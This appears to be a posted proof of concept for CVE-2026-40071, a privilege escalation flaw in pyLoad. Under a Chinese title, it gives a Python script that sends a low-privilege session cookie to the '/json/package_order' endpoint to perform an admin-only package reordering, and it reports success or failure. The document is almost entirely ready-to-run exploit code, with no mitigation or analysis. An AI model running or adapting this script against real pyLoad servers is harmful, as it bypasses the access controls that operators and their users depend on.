CVE-2026-40071 pyLoad权限提升漏洞

import requests # Target configuration target = "http://127.0.0.1:8000" endpoint = "/json/package_order" url = target + endpoint # Attacker's session (Low privilege user) # Replace with a valid session cookie obtained after login session_cookie = "pyload_session_id_here" headers = { "Content-Type": "application/json", "Cookie": f"pyload_session={session_cookie}" } # Payload to modify package order # This operation should require admin rights but is vulnerable payload = { "pid": 1, "order": 0 } try: response = requests.post(url, json=payload, headers=headers) if response.status_code == 200: print("[+] Vulnerability exploited successfully!") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")